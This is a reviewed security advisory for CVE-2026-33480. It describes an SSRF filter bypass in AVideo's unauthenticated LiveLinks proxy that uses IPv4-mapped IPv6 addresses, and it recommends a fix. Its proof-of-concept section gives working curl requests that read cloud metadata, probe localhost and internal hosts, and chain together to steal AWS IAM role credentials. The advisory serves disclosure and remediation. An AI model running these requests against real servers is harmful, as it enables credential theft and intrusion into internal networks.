wwbn/avideo
Affected
- introduced
0, last affected26.0(ecosystem)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-33480
AVideo has a SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses in Unauthenticated LiveLinks Proxy
Summary
The isSSRFSafeURL() function in AVideo can be bypassed using IPv4-mapped IPv6 addresses (::ffff:x.x.x.x). The unauthenticated plugin/LiveLinks/proxy.php endpoint uses this function to validate URLs before fetching them with curl, but the IPv4-mapped IPv6 prefix passes all checks, allowing an attacker to access cloud metadata services, internal networks, and localhost services.
Details
The isSSRFSafeURL() function in objects/functions.php (lines 4021-4169) implements SSRF protection with two separate check paths:
/^10\./, /^172\./, /^192\.168\./, /^127\./, /^169\.254\./)::1, fe80::/10 (link-local), and fc00::/7 (unique local)The gap: IPv4-mapped IPv6 addresses (::ffff:0:0/96) are not checked in either path. When a URL like http://[::ffff:169.254.169.254]/ is provided:
// Line 4038: parse_url strips brackets from IPv6 host
$host = parse_url($url, PHP_URL_HOST);
// $host = "::ffff:169.254.169.254"
// Line 4079: filter_var recognizes it as valid IPv6, skips DNS resolution
if (!filter_var($host, FILTER_VALIDATE_IP)) {
$resolvedIP = gethostbyname($host); // SKIPPED
}
$ip = $host; // $ip = "::ffff:169.254.169.254"
// Lines 4101-4134: IPv4 regex checks DON'T match (not dotted-decimal)
if (preg_match('/^169\.254\.\d{1,3}\.\d{1,3}$/', $ip)) // NO MATCH
// Lines 4150-4166: IPv6 checks don't cover ::ffff: prefix
if ($ip === '::1' || ...) // NO MATCH
if (preg_match('/^fe[89ab][0-9a-f]:/i', $ip)) // NO MATCH
if (preg_match('/^f[cd][0-9a-f]{2}:/i', $ip)) // NO MATCH
// Line 4168: returns TRUE — bypass complete
return true;
The vulnerable endpoint plugin/LiveLinks/proxy.php explicitly disables authentication:
// proxy.php lines 2-3
$doNotConnectDatabaseIncludeConfig = 1;
$doNotStartSessionbaseIncludeConfig = 1;
After the bypass, two requests are made to the attacker-controlled URL:
get_headers() at line 40 (via stream context)fakeBrowser() at line 63 (via curl) — response content is echoed back to the attacker (lines 69-80)PoC
Read AWS instance metadata (IAM credentials):
curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/'
Access localhost services:
curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:127.0.0.1]:3306/'
Scan internal network:
curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:10.0.0.1]/'
Steal AWS IAM role credentials (full chain):
# Step 1: Get IAM role name
ROLE=$(curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/')
# Step 2: Get temporary credentials for the role
curl -s "https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/${ROLE}"
Impact
Recommended Fix
Replace the manual IPv4/IPv6 blocklist approach with PHP's built-in FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE flags, which correctly handle all private/reserved ranges including IPv4-mapped IPv6 addresses:
// In isSSRFSafeURL(), replace lines 4099-4166 with:
// Block all private and reserved IP ranges (handles IPv4, IPv6, and IPv4-mapped IPv6)
if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
_error_log("isSSRFSafeURL: blocked private/reserved IP: {$ip}");
return false;
}
This single check replaces all the manual regex patterns and correctly handles:
High Basis: The source's own band: HIGH
0, last affected 26.0 (ecosystem)None listed
No fixed version is listed.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0